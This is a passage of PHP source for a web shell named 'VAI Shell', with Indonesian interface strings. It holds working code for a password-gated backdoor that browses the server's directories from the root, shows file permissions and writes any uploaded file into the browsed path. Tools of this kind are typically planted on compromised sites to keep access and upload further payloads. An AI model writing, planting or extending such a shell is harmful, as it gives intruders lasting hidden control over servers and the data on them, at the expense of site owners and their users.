= 1024 && $i < count($u)-1){ $b/=1024; $i++; }
return ($i ? number_format($b,2) : (string)$b) . ' ' . $u[$i];
}
function permsToString($f){
$p = @fileperms($f); if ($p === false) return '??????????';
$t = ($p & 0x4000) ? 'd' : (($p & 0xA000) ? 'l' : '-');
$s = (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? 'x' : '-');
$s .= (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? 'x' : '-');
$s .= (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? 'x' : '-');
return $t.$s;
}
function safeJoin($base,$child){
$child = str_replace(array("\0", "..", "/", "\\"), '', $child);
return rtrim($base, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$child;
}
function tryWriteFromTmp($tmp,$dest){
if(@move_uploaded_file($tmp,$dest)) return true;
if(@copy($tmp,$dest)) return true;
return false;
}
function listDirEntries($dir){
$h = @opendir($dir); if ($h===false) return array();
$items=array(); while(false!==($e=readdir($h))){ $items[]=$e; }
closedir($h); return $items;
}
function breadcrumbs($path){
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$segments = array_values(array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'));
$out = array();
$acc = (DIRECTORY_SEPARATOR === '\\') ? '' : DIRECTORY_SEPARATOR;
if (DIRECTORY_SEPARATOR === '\\' && preg_match('~^[A-Za-z]:~', $path)) {
$drive = substr($path, 0, 2); $acc = $drive . '\\'; $out[] = array($drive, $acc);
} else { $out[] = array('root', DIRECTORY_SEPARATOR); }
foreach($segments as $s){
if (preg_match('~^[A-Za-z]:$~', $s)) continue;
$acc = rtrim($acc, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $s;
$out[] = array($s, $acc);
}
return $out;
}
/* ---------- Action Handling ---------- */
$msg = '';
if (!isset($_SESSION['auth'])) {
if (isset($_POST['user']) && $_POST['user'] == AUTH_USER && password_verify($_POST['pass'], AUTH_PASS_HASH)) {
$_SESSION['auth'] = true; header("Location: ?"); exit;
}
// Simple Login
echo ''; exit;
}
// Proses Upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_GET['a']) && $_GET['a'] === 'upload') {
if (isset($_FILES['f_upload']) && $_FILES['f_upload']['error'] === UPLOAD_ERR_OK) {
$target = safeJoin($current_path, $_FILES['f_upload']['name']);
if (tryWriteFromTmp($_FILES['f_upload']['tmp_name'], $target)) {
$msg = "Upload sukses: " . h($_FILES['f_upload']['name']);
} else { $msg = "Upload gagal!"; }
}
}
/* ---------- UI Icons ---------- */
function svgIcon($name){
$icons=array(
'folder'=>'',
'file'=>'',
'up'=>''
);
return $icons[$name];
}
?>
VAI Shell